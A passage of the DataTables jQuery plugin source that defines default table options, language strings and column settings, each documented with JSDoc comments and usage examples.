* @param {array int} aiDisplay Index array to translate the visual position
* to the full data array
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "fnFooterCallback": function( nFoot, aData, iStart, iEnd, aiDisplay ) {
* nFoot.getElementsByTagName('th')[0].innerHTML = "Starting index is "+iStart;
* }
* } );
* } )
*/
"fnFooterCallback": null,
/**
* When rendering large numbers in the information element for the table
* (i.e. "Showing 1 to 10 of 57 entries") DataTables will render large numbers
* to have a comma separator for the 'thousands' units (e.g. 1 million is
* rendered as "1,000,000") to help readability for the end user. This
* function will override the default method DataTables uses.
* @type function
* @member
* @param {int} iIn number to be formatted
* @returns {string} formatted string for DataTables to show the number
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "fnFormatNumber": function ( iIn ) {
* if ( iIn < 1000 ) {
* return iIn;
* } else {
* var
* s=(iIn+""),
* a=s.split(""), out="",
* iLen=s.length;
*
* for ( var i=0 ; i<iLen ; i++ ) {
* if ( i%3 === 0 && i !== 0 ) {
* out = "'"+out;
* }
* out = a[iLen-i-1]+out;
* }
* }
* return out;
* };
* } );
* } );
*/
"fnFormatNumber": function ( iIn ) {
if ( iIn < 1000 )
{
// A small optimisation for what is likely to be the majority of use cases
return iIn;
}
var s=(iIn+""), a=s.split(""), out="", iLen=s.length;
for ( var i=0 ; i<iLen ; i++ )
{
if ( i%3 === 0 && i !== 0 )
{
out = this.oLanguage.sInfoThousands+out;
}
out = a[iLen-i-1]+out;
}
return out;
},
/**
* This function is called on every 'draw' event, and allows you to
* dynamically modify the header row. This can be used to calculate and
* display useful information about the table.
* @type function
* @param {node} nHead "TR" element for the header
* @param {array} aData Full table data (as derived from the original HTML)
* @param {int} iStart Index for the current display starting point in the
* display array
* @param {int} iEnd Index for the current display ending point in the
* display array
* @param {array int} aiDisplay Index array to translate the visual position
* to the full data array
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "fnHeaderCallback": function( nHead, aData, iStart, iEnd, aiDisplay ) {
* nHead.getElementsByTagName('th')[0].innerHTML = "Displaying "+(iEnd-iStart)+" records";
* }
* } );
* } )
*/
"fnHeaderCallback": null,
/**
* The information element can be used to convey information about the current
* state of the table. Although the internationalisation options presented by
* DataTables are quite capable of dealing with most customisations, there may
* be times where you wish to customise the string further. This callback
* allows you to do exactly that.
* @type function
* @param {object} oSettings DataTables settings object
* @param {int} iStart Starting position in data for the draw
* @param {int} iEnd End position in data for the draw
* @param {int} iMax Total number of rows in the table (regardless of
* filtering)
* @param {int} iTotal Total number of rows in the data set, after filtering
* @param {string} sPre The string that DataTables has formatted using it's
* own rules
* @returns {string} The string to be displayed in the information element.
* @dtopt Callbacks
*
* @example
* $('#example').dataTable( {
* "fnInfoCallback": function( oSettings, iStart, iEnd, iMax, iTotal, sPre ) {
* return iStart +" to "+ iEnd;
* }
* } );
*/
"fnInfoCallback": null,
/**
* Called when the table has been initialised. Normally DataTables will
* initialise sequentially and there will be no need for this function,
* however, this does not hold true when using external language information
* since that is obtained using an async XHR call.
* @type function
* @param {object} oSettings DataTables settings object
* @param {object} json The JSON object request from the server - only
* present if client-side Ajax sourced data is used
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "fnInitComplete": function(oSettings, json) {
* alert( 'DataTables has finished its initialisation.' );
* }
* } );
* } )
*/
"fnInitComplete": null,
/**
* Called at the very start of each table draw and can be used to cancel the
* draw by returning false, any other return (including undefined) results in
* the full draw occurring).
* @type function
* @param {object} oSettings DataTables settings object
* @returns {boolean} False will cancel the draw, anything else (including no
* return) will allow it to complete.
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "fnPreDrawCallback": function( oSettings ) {
* if ( $('#test').val() == 1 ) {
* return false;
* }
* }
* } );
* } );
*/
"fnPreDrawCallback": null,
/**
* This function allows you to 'post process' each row after it have been
* generated for each table draw, but before it is rendered on screen. This
* function might be used for setting the row class name etc.
* @type function
* @param {node} nRow "TR" element for the current row
* @param {array} aData Raw data array for this row
* @param {int} iDisplayIndex The display index for the current table draw
* @param {int} iDisplayIndexFull The index of the data in the full list of
* rows (after filtering)
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "fnRowCallback": function( nRow, aData, iDisplayIndex, iDisplayIndexFull ) {
* // Bold the grade for all 'A' grade browsers
* if ( aData[4] == "A" )
* {
* $('td:eq(4)', nRow).html( '<b>A</b>' );
* }
* }
* } );
* } );
*/
"fnRowCallback": null,
/**
* This parameter allows you to override the default function which obtains
* the data from the server ($.getJSON) so something more suitable for your
* application. For example you could use POST data, or pull information from
* a Gears or AIR database.
* @type function
* @member
* @param {string} sSource HTTP source to obtain the data from (sAjaxSource)
* @param {array} aoData A key/value pair object containing the data to send
* to the server
* @param {function} fnCallback to be called on completion of the data get
* process that will draw the data on the page.
* @param {object} oSettings DataTables settings object
* @dtopt Callbacks
* @dtopt Server-side
*
* @example
* // POST data to server
* $(document).ready( function() {
* $('#example').dataTable( {
* "bProcessing": true,
* "bServerSide": true,
* "sAjaxSource": "xhr.php",
* "fnServerData": function ( sSource, aoData, fnCallback, oSettings ) {
* oSettings.jqXHR = $.ajax( {
* "dataType": 'json',
* "type": "POST",
* "url": sSource,
* "data": aoData,
* "success": fnCallback
* } );
* }
* } );
* } );
*/
"fnServerData": function ( sUrl, aoData, fnCallback, oSettings ) {
oSettings.jqXHR = $.ajax( {
"url": sUrl,
"data": aoData,
"success": function (json) {
if ( json.sError ) {
oSettings.oApi._fnLog( oSettings, 0, json.sError );
}
$(oSettings.oInstance).trigger('xhr', [oSettings, json]);
fnCallback( json );
},
"dataType": "json",
"cache": false,
"type": oSettings.sServerMethod,
"error": function (xhr, error, thrown) {
if ( error == "parsererror" ) {
oSettings.oApi._fnLog( oSettings, 0, "DataTables warning: JSON data from "+
"server could not be parsed. This is caused by a JSON formatting error." );
}
}
} );
},
/**
* It is often useful to send extra data to the server when making an Ajax
* request - for example custom filtering information, and this callback
* function makes it trivial to send extra information to the server. The
* passed in parameter is the data set that has been constructed by
* DataTables, and you can add to this or modify it as you require.
* @type function
* @param {array} aoData Data array (array of objects which are name/value
* pairs) that has been constructed by DataTables and will be sent to the
* server. In the case of Ajax sourced data with server-side processing
* this will be an empty array, for server-side processing there will be a
* significant number of parameters!
* @returns {undefined} Ensure that you modify the aoData array passed in,
* as this is passed by reference.
* @dtopt Callbacks
* @dtopt Server-side
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bProcessing": true,
* "bServerSide": true,
* "sAjaxSource": "scripts/server_processing.php",
* "fnServerParams": function ( aoData ) {
* aoData.push( { "name": "more_data", "value": "my_value" } );
* }
* } );
* } );
*/
"fnServerParams": null,
/**
* Load the table state. With this function you can define from where, and how, the
* state of a table is loaded. By default DataTables will load from its state saving
* cookie, but you might wish to use local storage (HTML5) or a server-side database.
* @type function
* @member
* @param {object} oSettings DataTables settings object
* @return {object} The DataTables state object to be loaded
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bStateSave": true,
* "fnStateLoad": function (oSettings) {
* var o;
*
* // Send an Ajax request to the server to get the data. Note that
* // this is a synchronous request.
* $.ajax( {
* "url": "/state_load",
* "async": false,
* "dataType": "json",
* "success": function (json) {
* o = json;
* }
* } );
*
* return o;
* }
* } );
* } );
*/
"fnStateLoad": function ( oSettings ) {
var sData = this.oApi._fnReadCookie( oSettings.sCookiePrefix+oSettings.sInstance );
var oData;
try {
oData = (typeof $.parseJSON === 'function') ?
$.parseJSON(sData) : eval( '('+sData+')' );
} catch (e) {
oData = null;
}
return oData;
},
/**
* Callback which allows modification of the saved state prior to loading that state.
* This callback is called when the table is loading state from the stored data, but
* prior to the settings object being modified by the saved state. Note that for
* plug-in authors, you should use the 'stateLoadParams' event to load parameters for
* a plug-in.
* @type function
* @param {object} oSettings DataTables settings object
* @param {object} oData The state object that is to be loaded
* @dtopt Callbacks
*
* @example
* // Remove a saved filter, so filtering is never loaded
* $(document).ready( function() {
* $('#example').dataTable( {
* "bStateSave": true,
* "fnStateLoadParams": function (oSettings, oData) {
* oData.oSearch.sSearch = "";
* }
* } );
* } );
*
* @example
* // Disallow state loading by returning false
* $(document).ready( function() {
* $('#example').dataTable( {
* "bStateSave": true,
* "fnStateLoadParams": function (oSettings, oData) {
* return false;
* }
* } );
* } );
*/
"fnStateLoadParams": null,
/**
* Callback that is called when the state has been loaded from the state saving method
* and the DataTables settings object has been modified as a result of the loaded state.
* @type function
* @param {object} oSettings DataTables settings object
* @param {object} oData The state object that was loaded
* @dtopt Callbacks
*
* @example
* // Show an alert with the filtering value that was saved
* $(document).ready( function() {
* $('#example').dataTable( {
* "bStateSave": true,
* "fnStateLoaded": function (oSettings, oData) {
* alert( 'Saved filter was: '+oData.oSearch.sSearch );
* }
* } );
* } );
*/
"fnStateLoaded": null,
/**
* Save the table state. This function allows you to define where and how the state
* information for the table is stored - by default it will use a cookie, but you
* might want to use local storage (HTML5) or a server-side database.
* @type function
* @member
* @param {object} oSettings DataTables settings object
* @param {object} oData The state object to be saved
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bStateSave": true,
* "fnStateSave": function (oSettings, oData) {
* // Send an Ajax request to the server with the state object
* $.ajax( {
* "url": "/state_save",
* "data": oData,
* "dataType": "json",
* "method": "POST"
* "success": function () {}
* } );
* }
* } );
* } );
*/
"fnStateSave": function ( oSettings, oData ) {
this.oApi._fnCreateCookie(
oSettings.sCookiePrefix+oSettings.sInstance,
this.oApi._fnJsonString(oData),
oSettings.iCookieDuration,
oSettings.sCookiePrefix,
oSettings.fnCookieCallback
);
},
/**
* Callback which allows modification of the state to be saved. Called when the table
* has changed state a new state save is required. This method allows modification of
* the state saving object prior to actually doing the save, including addition or
* other state properties or modification. Note that for plug-in authors, you should
* use the 'stateSaveParams' event to save parameters for a plug-in.
* @type function
* @param {object} oSettings DataTables settings object
* @param {object} oData The state object to be saved
* @dtopt Callbacks
*
* @example
* // Remove a saved filter, so filtering is never saved
* $(document).ready( function() {
* $('#example').dataTable( {
* "bStateSave": true,
* "fnStateSaveParams": function (oSettings, oData) {
* oData.oSearch.sSearch = "";
* }
* } );
* } );
*/
"fnStateSaveParams": null,
/**
* Duration of the cookie which is used for storing session information. This
* value is given in seconds.
* @type int
* @default 7200 <i>(2 hours)</i>
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "iCookieDuration": 60*60*24; // 1 day
* } );
* } )
*/
"iCookieDuration": 7200,
/**
* When enabled DataTables will not make a request to the server for the first
* page draw - rather it will use the data already on the page (no sorting etc
* will be applied to it), thus saving on an XHR at load time. iDeferLoading
* is used to indicate that deferred loading is required, but it is also used
* to tell DataTables how many records there are in the full table (allowing
* the information element and pagination to be displayed correctly). In the case
* where a filtering is applied to the table on initial load, this can be
* indicated by giving the parameter as an array, where the first element is
* the number of records available after filtering and the second element is the
* number of records without filtering (allowing the table information element
* to be shown correctly).
* @type int | array
* @default null
* @dtopt Options
*
* @example
* // 57 records available in the table, no filtering applied
* $(document).ready( function() {
* $('#example').dataTable( {
* "bServerSide": true,
* "sAjaxSource": "scripts/server_processing.php",
* "iDeferLoading": 57
* } );
* } );
*
* @example
* // 57 records after filtering, 100 without filtering (an initial filter applied)
* $(document).ready( function() {
* $('#example').dataTable( {
* "bServerSide": true,
* "sAjaxSource": "scripts/server_processing.php",
* "iDeferLoading": [ 57, 100 ],
* "oSearch": {
* "sSearch": "my_filter"
* }
* } );
* } );
*/
"iDeferLoading": null,
/**
* Number of rows to display on a single page when using pagination. If
* feature enabled (bLengthChange) then the end user will be able to override
* this to a custom setting using a pop-up menu.
* @type int
* @default 10
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "iDisplayLength": 50
* } );
* } )
*/
"iDisplayLength": 10,
/**
* Define the starting point for data display when using DataTables with
* pagination. Note that this parameter is the number of records, rather than
* the page number, so if you have 10 records per page and want to start on
* the third page, it should be "20".
* @type int
* @default 0
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "iDisplayStart": 20
* } );
* } )
*/
"iDisplayStart": 0,
/**
* The scroll gap is the amount of scrolling that is left to go before
* DataTables will load the next 'page' of data automatically. You typically
* want a gap which is big enough that the scrolling will be smooth for the
* user, while not so large that it will load more data than need.
* @type int
* @default 100
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bScrollInfinite": true,
* "bScrollCollapse": true,
* "sScrollY": "200px",
* "iScrollLoadGap": 50
* } );
* } );
*/
"iScrollLoadGap": 100,
/**
* By default DataTables allows keyboard navigation of the table (sorting, paging,
* and filtering) by adding a tabindex attribute to the required elements. This
* allows you to tab through the controls and press the enter key to activate them.
* The tabindex is default 0, meaning that the tab follows the flow of the document.
* You can overrule this using this parameter if you wish. Use a value of -1 to
* disable built-in keyboard navigation.
* @type int
* @default 0
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "iTabIndex": 1
* } );
* } );
*/
"iTabIndex": 0,
/**
* All strings that DataTables uses in the user interface that it creates
* are defined in this object, allowing you to modified them individually or
* completely replace them all as required.
* @namespace
*/
"oLanguage": {
/**
* Strings that are used for WAI-ARIA labels and controls only (these are not
* actually visible on the page, but will be read by screenreaders, and thus
* must be internationalised as well).
* @namespace
*/
"oAria": {
/**
* ARIA label that is added to the table headers when the column may be
* sorted ascending by activing the column (click or return when focused).
* Note that the column header is prefixed to this string.
* @type string
* @default : activate to sort column ascending
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "oAria": {
* "sSortAscending": " - click/return to sort ascending"
* }
* }
* } );
* } );
*/
"sSortAscending": ": activate to sort column ascending",
/**
* ARIA label that is added to the table headers when the column may be
* sorted descending by activing the column (click or return when focused).
* Note that the column header is prefixed to this string.
* @type string
* @default : activate to sort column ascending
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "oAria": {
* "sSortDescending": " - click/return to sort descending"
* }
* }
* } );
* } );
*/
"sSortDescending": ": activate to sort column descending"
},
/**
* Pagination string used by DataTables for the two built-in pagination
* control types ("two_button" and "full_numbers")
* @namespace
*/
"oPaginate": {
/**
* Text to use when using the 'full_numbers' type of pagination for the
* button to take the user to the first page.
* @type string
* @default First
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "oPaginate": {
* "sFirst": "First page"
* }
* }
* } );
* } );
*/
"sFirst": "First",
/**
* Text to use when using the 'full_numbers' type of pagination for the
* button to take the user to the last page.
* @type string
* @default Last
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "oPaginate": {
* "sLast": "Last page"
* }
* }
* } );
* } );
*/
"sLast": "Last",
/**
* Text to use for the 'next' pagination button (to take the user to the
* next page).
* @type string
* @default Next
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "oPaginate": {
* "sNext": "Next page"
* }
* }
* } );
* } );
*/
"sNext": "Next",
/**
* Text to use for the 'previous' pagination button (to take the user to
* the previous page).
* @type string
* @default Previous
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "oPaginate": {
* "sPrevious": "Previous page"
* }
* }
* } );
* } );
*/
"sPrevious": "Previous"
},
/**
* This string is shown in preference to sZeroRecords when the table is
* empty of data (regardless of filtering). Note that this is an optional
* parameter - if it is not given, the value of sZeroRecords will be used
* instead (either the default or given value).
* @type string
* @default No data available in table
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sEmptyTable": "No data available in table"
* }
* } );
* } );
*/
"sEmptyTable": "No data available in table",
/**
* This string gives information to the end user about the information that
* is current on display on the page. The _START_, _END_ and _TOTAL_
* variables are all dynamically replaced as the table display updates, and
* can be freely moved or removed as the language requirements change.
* @type string
* @default Showing _START_ to _END_ of _TOTAL_ entries
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sInfo": "Got a total of _TOTAL_ entries to show (_START_ to _END_)"
* }
* } );
* } );
*/
"sInfo": "Showing _START_ to _END_ of _TOTAL_ entries",
/**
* Display information string for when the table is empty. Typically the
* format of this string should match sInfo.
* @type string
* @default Showing 0 to 0 of 0 entries
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sInfoEmpty": "No entries to show"
* }
* } );
* } );
*/
"sInfoEmpty": "Showing 0 to 0 of 0 entries",
/**
* When a user filters the information in a table, this string is appended
* to the information (sInfo) to give an idea of how strong the filtering
* is. The variable _MAX_ is dynamically updated.
* @type string
* @default (filtered from _MAX_ total entries)
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sInfoFiltered": " - filtering from _MAX_ records"
* }
* } );
* } );
*/
"sInfoFiltered": "(filtered from _MAX_ total entries)",
/**
* If can be useful to append extra information to the info string at times,
* and this variable does exactly that. This information will be appended to
* the sInfo (sInfoEmpty and sInfoFiltered in whatever combination they are
* being used) at all times.
* @type string
* @default <i>Empty string</i>
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sInfoPostFix": "All records shown are derived from real information."
* }
* } );
* } );
*/
"sInfoPostFix": "",
/**
* DataTables has a build in number formatter (fnFormatNumber) which is used
* to format large numbers that are used in the table information. By
* default a comma is used, but this can be trivially changed to any
* character you wish with this parameter.
* @type string
* @default ,
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sInfoThousands": "'"
* }
* } );
* } );
*/
"sInfoThousands": ",",
/**
* Detail the action that will be taken when the drop down menu for the
* pagination length option is changed. The '_MENU_' variable is replaced
* with a default select list of 10, 25, 50 and 100, and can be replaced
* with a custom select box if required.
* @type string
* @default Show _MENU_ entries
* @dtopt Language
*
* @example
* // Language change only
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sLengthMenu": "Display _MENU_ records"
* }
* } );
* } );
*
* @example
* // Language and options change
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sLengthMenu": 'Display <select>'+
* '<option value="10">10</option>'+
* '<option value="20">20</option>'+
* '<option value="30">30</option>'+
* '<option value="40">40</option>'+
* '<option value="50">50</option>'+
* '<option value="-1">All</option>'+
* '</select> records'
* }
* } );
* } );
*/
"sLengthMenu": "Show _MENU_ entries",
/**
* When using Ajax sourced data and during the first draw when DataTables is
* gathering the data, this message is shown in an empty row in the table to
* indicate to the end user the the data is being loaded. Note that this
* parameter is not used when loading data by server-side processing, just
* Ajax sourced data with client-side processing.
* @type string
* @default Loading...
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sLoadingRecords": "Please wait - loading..."
* }
* } );
* } );
*/
"sLoadingRecords": "Loading...",
/**
* Text which is displayed when the table is processing a user action
* (usually a sort command or similar).
* @type string
* @default Processing...
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sProcessing": "DataTables is currently busy"
* }
* } );
* } );
*/
"sProcessing": "Processing...",
/**
* Details the actions that will be taken when the user types into the
* filtering input text box. The variable "_INPUT_", if used in the string,
* is replaced with the HTML text box for the filtering input allowing
* control over where it appears in the string. If "_INPUT_" is not given
* then the input box is appended to the string automatically.
* @type string
* @default Search:
* @dtopt Language
*
* @example
* // Input text box will be appended at the end automatically
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sSearch": "Filter records:"
* }
* } );
* } );
*
* @example
* // Specify where the filter should appear
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sSearch": "Apply filter _INPUT_ to table"
* }
* } );
* } );
*/
"sSearch": "Search:",
/**
* All of the language information can be stored in a file on the
* server-side, which DataTables will look up if this parameter is passed.
* It must store the URL of the language file, which is in a JSON format,
* and the object has the same properties as the oLanguage object in the
* initialiser object (i.e. the above parameters). Please refer to one of
* the example language files to see how this works in action.
* @type string
* @default <i>Empty string - i.e. disabled</i>
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sUrl": "http://www.sprymedia.co.uk/dataTables/lang.txt"
* }
* } );
* } );
*/
"sUrl": "",
/**
* Text shown inside the table records when the is no information to be
* displayed after filtering. sEmptyTable is shown when there is simply no
* information in the table at all (regardless of filtering).
* @type string
* @default No matching records found
* @dtopt Language
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oLanguage": {
* "sZeroRecords": "No records to display"
* }
* } );
* } );
*/
"sZeroRecords": "<i class='fa fa-warning text-warning'></i> No matching records found"
},
/**
* This parameter allows you to have define the global filtering state at
* initialisation time. As an object the "sSearch" parameter must be
* defined, but all other parameters are optional. When "bRegex" is true,
* the search string will be treated as a regular expression, when false
* (default) it will be treated as a straight string. When "bSmart"
* DataTables will use it's smart filtering methods (to word match at
* any point in the data), when false this will not be done.
* @namespace
* @extends DataTable.models.oSearch
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "oSearch": {"sSearch": "Initial search"}
* } );
* } )
*/
"oSearch": $.extend( {}, DataTable.models.oSearch ),
/**
* By default DataTables will look for the property 'aaData' when obtaining
* data from an Ajax source or for server-side processing - this parameter
* allows that property to be changed. You can use Javascript dotted object
* notation to get a data source for multiple levels of nesting.
* @type string
* @default aaData
* @dtopt Options
* @dtopt Server-side
*
* @example
* // Get data from { "data": [...] }
* $(document).ready( function() {
* var oTable = $('#example').dataTable( {
* "sAjaxSource": "sources/data.txt",
* "sAjaxDataProp": "data"
* } );
* } );
*
* @example
* // Get data from { "data": { "inner": [...] } }
* $(document).ready( function() {
* var oTable = $('#example').dataTable( {
* "sAjaxSource": "sources/data.txt",
* "sAjaxDataProp": "data.inner"
* } );
* } );
*/
"sAjaxDataProp": "aaData",
/**
* You can instruct DataTables to load data from an external source using this
* parameter (use aData if you want to pass data in you already have). Simply
* provide a url a JSON object can be obtained from. This object must include
* the parameter 'aaData' which is the data source for the table.
* @type string
* @default null
* @dtopt Options
* @dtopt Server-side
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sAjaxSource": "http://www.sprymedia.co.uk/dataTables/json.php"
* } );
* } )
*/
"sAjaxSource": null,
/**
* This parameter can be used to override the default prefix that DataTables
* assigns to a cookie when state saving is enabled.
* @type string
* @default SpryMedia_DataTables_
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sCookiePrefix": "my_datatable_",
* } );
* } );
*/
"sCookiePrefix": "SpryMedia_DataTables_",
/**
* This initialisation variable allows you to specify exactly where in the
* DOM you want DataTables to inject the various controls it adds to the page
* (for example you might want the pagination controls at the top of the
* table). DIV elements (with or without a custom class) can also be added to
* aid styling. The follow syntax is used:
* <ul>
* <li>The following options are allowed:
* <ul>
* <li>'l' - Length changing</li
* <li>'f' - Filtering input</li>
* <li>'t' - The table!</li>
* <li>'i' - Information</li>
* <li>'p' - Pagination</li>
* <li>'r' - pRocessing</li>
* </ul>
* </li>
* <li>The following constants are allowed:
* <ul>
* <li>'H' - jQueryUI theme "header" classes ('fg-toolbar ui-widget-header ui-corner-tl ui-corner-tr ui-helper-clearfix')</li>
* <li>'F' - jQueryUI theme "footer" classes ('fg-toolbar ui-widget-header ui-corner-bl ui-corner-br ui-helper-clearfix')</li>
* </ul>
* </li>
* <li>The following syntax is expected:
* <ul>
* <li>'<' and '>' - div elements</li>
* <li>'<"class" and '>' - div with a class</li>
* <li>'<"#id" and '>' - div with an ID</li>
* </ul>
* </li>
* <li>Examples:
* <ul>
* <li>'<"wrapper"flipt>'</li>
* <li>'<lf<t>ip>'</li>
* </ul>
* </li>
* </ul>
* @type string
* @default lfrtip <i>(when bJQueryUI is false)</i> <b>or</b>
* <"H"lfr>t<"F"ip> <i>(when bJQueryUI is true)</i>
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sDom": '<"top"i>rt<"bottom"flp><"clear">'
* } );
* } );
*/
"sDom": "lfrtip",
/**
* DataTables features two different built-in pagination interaction methods
* ('two_button' or 'full_numbers') which present different page controls to
* the end user. Further methods can be added using the API (see below).
* @type string
* @default two_button
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sPaginationType": "full_numbers"
* } );
* } )
*/
"sPaginationType": "two_button",
/**
* Enable horizontal scrolling. When a table is too wide to fit into a certain
* layout, or you have a large number of columns in the table, you can enable
* x-scrolling to show the table in a viewport, which can be scrolled. This
* property can be any CSS unit, or a number (in which case it will be treated
* as a pixel measurement).
* @type string
* @default <i>blank string - i.e. disabled</i>
* @dtopt Features
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sScrollX": "100%",
* "bScrollCollapse": true
* } );
* } );
*/
"sScrollX": "",
/**
* This property can be used to force a DataTable to use more width than it
* might otherwise do when x-scrolling is enabled. For example if you have a
* table which requires to be well spaced, this parameter is useful for
* "over-sizing" the table, and thus forcing scrolling. This property can by
* any CSS unit, or a number (in which case it will be treated as a pixel
* measurement).
* @type string
* @default <i>blank string - i.e. disabled</i>
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sScrollX": "100%",
* "sScrollXInner": "110%"
* } );
* } );
*/
"sScrollXInner": "",
/**
* Enable vertical scrolling. Vertical scrolling will constrain the DataTable
* to the given height, and enable scrolling for any data which overflows the
* current viewport. This can be used as an alternative to paging to display
* a lot of data in a small area (although paging and scrolling can both be
* enabled at the same time). This property can be any CSS unit, or a number
* (in which case it will be treated as a pixel measurement).
* @type string
* @default <i>blank string - i.e. disabled</i>
* @dtopt Features
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sScrollY": "200px",
* "bPaginate": false
* } );
* } );
*/
"sScrollY": "",
/**
* Set the HTTP method that is used to make the Ajax call for server-side
* processing or Ajax sourced data.
* @type string
* @default GET
* @dtopt Options
* @dtopt Server-side
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bServerSide": true,
* "sAjaxSource": "scripts/post.php",
* "sServerMethod": "POST"
* } );
* } );
*/
"sServerMethod": "GET"
};
/**
* Column options that can be given to DataTables at initialisation time.
* @namespace
*/
DataTable.defaults.columns = {
/**
* Allows a column's sorting to take multiple columns into account when
* doing a sort. For example first name / last name columns make sense to
* do a multi-column sort over the two columns.
* @type array
* @default null <i>Takes the value of the column index automatically</i>
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "aDataSort": [ 0, 1 ], "aTargets": [ 0 ] },
* { "aDataSort": [ 1, 0 ], "aTargets": [ 1 ] },
* { "aDataSort": [ 2, 3, 4 ], "aTargets": [ 2 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "aDataSort": [ 0, 1 ] },
* { "aDataSort": [ 1, 0 ] },
* { "aDataSort": [ 2, 3, 4 ] },
* null,
* null
* ]
* } );
* } );
*/
"aDataSort": null,
/**
* You can control the default sorting direction, and even alter the behaviour
* of the sort handler (i.e. only allow ascending sorting etc) using this
* parameter.
* @type array
* @default [ 'asc', 'desc' ]
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "asSorting": [ "asc" ], "aTargets": [ 1 ] },
* { "asSorting": [ "desc", "asc", "asc" ], "aTargets": [ 2 ] },
* { "asSorting": [ "desc" ], "aTargets": [ 3 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* null,
* { "asSorting": [ "asc" ] },
* { "asSorting": [ "desc", "asc", "asc" ] },
* { "asSorting": [ "desc" ] },
* null
* ]
* } );
* } );
*/
"asSorting": [ 'asc', 'desc' ],
/**
* Enable or disable filtering on the data in this column.
* @type boolean
* @default true
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "bSearchable": false, "aTargets": [ 0 ] }
* ] } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "bSearchable": false },
* null,
* null,
* null,
* null
* ] } );
* } );
*/
"bSearchable": true,
/**
* Enable or disable sorting on this column.
* @type boolean
* @default true
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "bSortable": false, "aTargets": [ 0 ] }
* ] } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "bSortable": false },
* null,
* null,
* null,
* null
* ] } );
* } );
*/
"bSortable": true,
/**
* <code>Deprecated</code> When using fnRender() for a column, you may wish
* to use the original data (before rendering) for sorting and filtering
* (the default is to used the rendered data that the user can see). This
* may be useful for dates etc.
*
* Please note that this option has now been deprecated and will be removed
* in the next version of DataTables. Please use mRender / mData rather than
* fnRender.
* @type boolean
* @default true
* @dtopt Columns
* @deprecated
*/
"bUseRendered": true,
/**
* Enable or disable the display of this column.
* @type boolean
* @default true
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
